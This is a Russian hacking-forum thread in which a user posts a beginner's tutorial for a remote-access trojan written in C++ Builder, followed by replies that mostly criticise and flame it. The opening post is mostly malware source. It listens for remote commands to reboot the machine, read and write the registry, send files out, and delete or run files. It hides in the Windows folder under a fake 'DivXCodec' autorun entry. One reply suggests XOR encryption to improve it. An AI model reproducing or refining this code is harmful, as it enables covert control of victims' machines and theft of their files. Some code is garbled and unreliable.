как сделать трояна?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Rast1k, 9 Aug 2007.

Thread Status:
Not open for further replies.
  1. Rast1k

    Rast1k Banned

    Joined:
    9 Aug 2007
    Messages:
    39
    Likes Received:
    30
    Reputations:
    -75
    Итак, я хочу представить Вашему вниманию самый ламерский и простенький троян на С++.
    Те, кто только начинают писать, внимательно следите.
    Самый простой троян, как правило, состоит из 2 частей. Одна часть должна всегда оставаться у вас. Эта часть называется пользовательская. Вторая часть должна быть отправлена жертве, то есть тому кого мы с вами будем заражать. Эта часть называется серверной.
    Во время написания будем использовать два компонента
    Оба стандартные: TClientSocket и TServerSocket.
    Часть для пользователя пренебрежительно мала
    Ведь на самом деле ничего кроме отсылки команд и приема ответов от сервера она делать и не должна. Для приема ответов просто создадим поле TMemo и добавим обработчик события OnRead нашего компонента TClientSocket:
    Code:
    void __fastcall TForm1::TrojControllerRead(TObject *Sender,
          TCustomWinSocket *Socket)
    {
    Memo2->Lines->Add(Socket->ReceiveText());
    }
    Теперь предстоит самое сложное. Нам с вами надо написать основную(Серверную) часть.


    TServerSocket помещается на форму один, потому что визуально троян не оформляется. Инициализацию его проведем в функции FormCreate(). Хотя можно было бы просто прописать 2 параметра в Object Inspector.
    Code:
    void __fastcall TForm1::FormCreate(TObject *Sender)
    {
    // ServSckt - наш компонент TServerSocket
    ServSckt->Port = 4321;
    ServSckt->Active = true;
    }
    
    ==============================================
    Итак мы только что указали порт ^^^^
    Активация сокета была произведена параллельно.
    Теперь надо сделать обработку, чтобы проиизводилось получение данных сокетом.
    Для осуществеления я делал обработку ClientRead:
    Code:
    void __fastcall TForm1::ServScktClientRead(TObject *Sender,
          TCustomWinSocket *Socket)
    {
    RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
    				  // информации, которую передаем как параметр этой функции
    }
    //---------------------------------------------------------------------------
    // собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
    void TForm1::RecCommand (String received)
    {
    int cn;
    TTrojanUtilites Utilz;  // создаем объект наших утилит 
    Utilz.Sock=ServSckt;	// необходимо для отсылки ответа клиенту, так как сокет у нас
    		// находится на форме, а TTrojanUtilites не имеет никакого отношения
    		// к форме. Просто передаем указатель на TServerSocket
    String temp;
    temp=received;
    temp.Delete(2,temp.Length()); 	// получаем первый символ сообщения - номер команды
    cn = StrToInt(temp); 		// преобразуем в число
    received.Delete(1,1);		// удаляем код команды - остаются одни параметры
    switch (cn) {			// в соответсвии с полученой командой 
    				// запускаем соотвествующую утилиту 
    case 1 : Utilz.RestartMachine(); break;		// перезагрузка
    case 2 : Utilz.WriteRegistry(received); break;  // запись в реестр
    case 3 : Utilz.ReadRegistry(received); break;	// чтение реестра
    case 4 : Utilz.SendFile(received); break;	// чтение файла
    case 5 : Utilz.DeleteFile(received); break;	// удаление файла 
    case 6 : Utilz.ExecuteFile(received); break;	// запуск файла 
    case 7 : Utilz.OpenCloseCD; break;		// открытие/закрытие CD-ROM
    case 8 : Utilz.HideMouse(); break;		// прячем курсор мыши 
    case 9 : Utilz.SwapMouseButtons(); break;	// переключаем кнопки мыши 
    default:
    SendMsgToClient("Неправильная команда!") ; // команда недопустима
    					   // пост клиенту
    }
    }
    =======================================
    ^^тут вы увидели что мы пишем высокий класс трояна то есть TTrojanUtilites
    Code:
    void TTrojanUtilites::OpenCloseCD()
    {
    TMCI_Open_Parms OpenParm;
    TMCI_Generic_Parms  GenParm;
    TMCI_Set_Parms SetParm;
    Cardinal DI;
    OpenParm.dwCallback = 0;
    OpenParm.lpstrDeviceType = "CDAudio";
    mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm));
    DI = OpenParm.wDeviceID;
    if (!CDROMOPEN)
    {
            mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm));
            CDROMOPEN = true; // открыть
    }
    else
    {
            mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm));
            CDROMOPEN = false; // закрыть
    }
    mciSendCommand(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm));
    Sock->Socket->Connections[0]->SendText("Выполнено открытие/закрытие CD-ROM");
    }
    Reload
    Code:
    void TTrojanUtilites::RestartMachine()
    {
    if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0));
            Sock->Socket->Connections[0]->SendText("Reload Complete");
    } 
    потом идет
    Code:
    void TTrojanUtilites::SendFile(String F)
    {
    TStringList* TTSL=new (TStringList);
    TStringList* TTSL2=new (TStringList);
    int n, i;
    TTSL->Text = F;
    if (!FileExists(TTSL->Strings[0]))
    {
            Sock->Socket->Connections[0]->SendText("Файл не существует.");
            return;
    }
    TTSL2->LoadFromFile(TTSL->Strings[0]);  // загружаем файл в TStringList
    n = TTSL2->Count;			// получаем число строк в файле
    if (n > StrToInt(TTSL->Strings[1]))	// если надо прочитать не весь файл
            n = StrToInt(TTSL->Strings[1]);	// считываем только необходимое число строк
    for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings); // передаем строки клиенту
    }
    Вроде тут и объяснять нечего.
    
    void TTrojanUtilites::ReadRegistry(ShortString k)
    {
    TRegistry* reg=new TRegistry;
    String res, ts;
    TStringList* TTSL=new TStringList;
    HKEY k1;
    // параметры передаются в следующем порядке: 
    ////  0 - root key   
    ////  1 - key name
    ////  2 - value name
    ////  3 - value
    ////  4 - type of value
    TTSL->Text = k;
    ts = TTSL->Strings[0];  // выбираем RootKey
    if (ts == "HKEY_CLASSES_ROOT")   k1 = HKEY_CLASSES_ROOT;
    if (ts == "HKEY_CURRENT_USER")   k1 = HKEY_CURRENT_USER;
    if (ts == "HKEY_LOCAL_MACHINE")  k1 = HKEY_LOCAL_MACHINE;
    if (ts == "HKEY_USERS")          k1 = HKEY_USERS;
    if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG;
    reg->RootKey = k1;
    reg->OpenKey(TTSL->Strings[1], true); // открываем раздел
    ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа
    if (ts == "Bool")   // двоичный  (REG_BINARY)
            if (reg->ReadBool(TTSL->Strings[2]))
                    res = "true";
            else res = "false";
    if (ts == "Integer")  //  числовой   (REG_DWORD)
            res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));
    if (ts == "String")  // строковый (REG_SZ)
            res = reg->ReadString(TTSL->Strings[2]);
    Sock->Socket->Connections[0]->SendText("Чтение реестра. Значение параметра: "+res);
    // передаем клиенту значение параметра
    }
    ==============================================

    ТЕПЕРЬ ИДЕТ ВАЖНАЯ ШТУКА)
    эта функция позволяет препятствовать мнгновенному удалению трояна
    ***сразу скажу в ней я могу запутатьсяно все равно
    Code:
    int res;
    SHFILEOPSTRUCT fo;
    ZeroMemory(&fo, sizeof(fo));
    fo.hwnd   = hwndOwner;  // хэндл окна-владельца прогресс-диалога
    fo.pFrom  = pszFullPath; //путь
    fo.wFunc  = FO_DELETE;
    fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление
    res = SHFileOperation(&fo);
    Теперь остался последний шаг - автозагрузка трояна
    Сделать довольно легко
    Code:
    void __fastcall TForm1::FormCreate(TObject *Sender)
    {
    ServSckt->Port = 4321;
    ServSckt->Active = true;
    Utilz.Sock=ServSckt;
    Utilz.CDROMOPEN=false;
    
    String WinDir;
    char WinDir1[144];
    GetWindowsDirectory(WinDir1,144);
    WinDir=WinDir1; // папка с установленными виндами
    
    String data;
    TRegistry *pReg = new TRegistry;
    pReg->RootKey=HKEY_LOCAL_MACHINE;
    pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true);
    data=pReg->ReadString("DivXCodec");
    if (data != Application->ExeName) //если нашу программу стерли из
    // автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела)
         pReg->WriteString("DivXCodec",WinDir+"\task16man.exe"); //добавляем ее по новой
    
    if (Application->ExeName!=WinDir+"\task16man.exe") //если файл запустили 1ый раз
    {
            if (!FileExists(WinDir+"\task16man.exe"))
            {
            String dest=WinDir+"\task16man.exe";
            BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());
    	// переписываем файл к виндам
            ServSckt->Active = false; 
            ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL); //запускаем его
            Application->Terminate(); // это приложение закрываем
            }
            else
            Application->Terminate();
    	// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз 
    	// запустили и им подобных, додумайте сами =)
    }
    else
    {
    ServSckt->Port = 4321;
    ServSckt->Active = true;
    
    String data;
    TRegistry *pReg = new TRegistry;
    pReg->RootKey=HKEY_LOCAL_MACHINE;
    pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true);
    data=pReg->ReadString("DivXCodec");
    if (data != Application->ExeName) // не дай бог стерли!
        pReg->WriteString("DivXCodec",Application->ExeName); // пишем назад
    }
    }
    ТРОЯН написан

    Теперь от меня важный вопрос
    Когда идет запись в реестр для булевского значения(цифры) используется WriteBool(TTSL->Strings[2], false); ?
    если нет, то в коде есть ошибка(

    И проверьте у меня пожалуйста код функции который не удаляет троян сразу, а то мне кажется что есть ошибка но найти не получаецо(
     
    4 people like this.
  2. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    Ууууу... Трояны на Vcl, вот это бред. Понимаешь, это всеравно что орать на улице во все горло, что ты идиот. Ничего личного, просто сравнение.
     
    1 person likes this.
  3. GoreMaster

    GoreMaster Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    119
    Likes Received:
    32
    Reputations:
    4
    Смысл выкладывать непроработанный материал
    насчет ошибок,отладчик тебе в помощь...
    тема [:]|||||[:]
    Надеюсь не раджи плюсиков писал =]
     
  4. Rast1k

    Rast1k Banned

    Joined:
    9 Aug 2007
    Messages:
    39
    Likes Received:
    30
    Reputations:
    -75
    Ну просто выложил на хакерский форум чтобы вы, умные в этом ребята, посмтрели)
     
    1 person likes this.
  5. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    Те кто только начинает писать, не смотрите даже, чему людей учите - непонятно.. Конечно, умный человек сделает для себя правильный выбор, однако время потеряет, прежде чем поймет весь смысл этого изврата под названием VCL и прочих либ "сделай быстро".
     
    1 person likes this.
  6. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    Это не хакерский форум,хотя многие думают иначе..
     
    1 person likes this.
  7. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Piflit, не ну давайте еще на вижуал бейсике трояны писать. Сделать формочку "Отправить пароли", чтобы пользователь выбрал пароли, с которыми хочет расстаться, и нажал "отправить хеккеру".
    Такой же бред как и трояны на VCL ...
     
    1 person likes this.
  8. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    А в чем проблема? Сказал так как будто для этого нужно быть гением. Конечно это посложнее чем готовые либы, но не всегда легкий путь - правильный.
     
  9. GlOFF

    GlOFF Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    689
    Likes Received:
    484
    Reputations:
    4
    Гм... Borland Builder C++ рулит ;) Выходит троян не на класическом С++ (MS), а почти на Delphi технологиях...
    P.S. а так ни че, главное что *+*+*R@st1k*+*+* старался и познавал новое... Для новичка главное чтобы работало :)
     
  10. Rast1k

    Rast1k Banned

    Joined:
    9 Aug 2007
    Messages:
    39
    Likes Received:
    30
    Reputations:
    -75
    Ребят, вы че все?

    Обычный простой всем понятный троян)

    Для некоторых этот "бред" может послужить первым шагом уже к winapi )

    "бред" это для вас, уже познавших античат и знающих номнооого больше в целом чем начинающие кодеры
     
    3 people like this.
  11. n3m0

    n3m0 Elder - Старейшина

    Joined:
    11 May 2007
    Messages:
    133
    Likes Received:
    92
    Reputations:
    11
    3 года назад я такой же написал, нолько на Делфи. В школе прикалывался над одноклассниками )) А эта статья как для новичка сойдет!
     
  12. GlOFF

    GlOFF Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    689
    Likes Received:
    484
    Reputations:
    4
    *+*+*R@st1k*+*+* Да все ок, постарался, плюсеков получил, да и сам опыта набрался! Нормальная статья плюсек прилогается :)
     
  13. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    Хех хотел бы тебе кео что посоветовать =/
    1. юзай xor шифрование... хоть как-то по хэккерски.
    2. Принцип отправки комманды... Зачем тратить трафик? ( :D ) юзай костатнты типа
    const
    int cmdSysMsg = 0;
    int cmdFTPaction = 1;
    и пересылать их и аргументы... =/ имхо
    и вообще для пересылки комманды можно юзать udp
    3. с ClientSocket, ServerSocket можно и без VCL работать =/ в плане не подключать модуль Forms самый весомый модуль =/



    *гемаглабин я еще жить хочу...
     
    #13 W!z@rD, 10 Aug 2007
    Last edited: 10 Aug 2007
  14. f04c3

    f04c3 New Member

    Joined:
    15 Jul 2007
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    to "inv " - "Это не хакерский форум,хотя многие думают иначе.." на самом деле хакерских форумов нету __) есть тока те где спецы делают копи пасте )))
     
  15. f04c3

    f04c3 New Member

    Joined:
    15 Jul 2007
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    "а что ты предлагаешь? сразу winapi?" а как инече на то их и придумали ))) нада еще свое что - то писать какой нить базонезависимый код (функцыя или проца) а эта байда с формой и кнопочками и прочими приколами лутше оставить при себе если харашо присмотрется все то делфи на 70 % обращается на Windows Application Interface (WinAPI)так что зачем обращатся через посередник (те самые в делфях класы тупые или еще лутше тормознутые string тип память уже выделенная и тому подобное =) ) и еще к тому же размер и производительность ни в какие рамки не падает бред это все !!!
     
  16. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    Это здесь причем? Если мне нужен троян под windows - я пишу троян под windows.
    Да уж, у тебя явные проблемы с излаганием своих мыслей. Понимаешь, если мне нужен gui, я делаю его, если нет, то не делаю.
    Дельфи?? Я то думал библиотека VCL является оберткой, чтож теперь буду знать что это вина языка.
    Из этого предложения почти ничего не понял, из того что понял сделал вывод, что дельфи имеет тупые классы, а под string так и вообще память выделяется(!)
    Ладно хоть сам признал, что все что написал полный бред.
     
    1 person likes this.
  17. f04c3

    f04c3 New Member

    Joined:
    15 Jul 2007
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    я вижу что тебя тока говорить учили а слушать нет
     
  18. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    А по твоему предыдущему сообщению можно сделать вывод что ты и говорить нормально не умеешь. Скажи мне тогда в чем я не прав?
     
  19. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Эх вы флеймеры. Закрыто нафиг
     
  20. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    РТФМ что такое базонезависимый код

    без комментариев

    А вам, товарищ, хамить не стоит
     
    1 person likes this.
Thread Status:
Not open for further replies.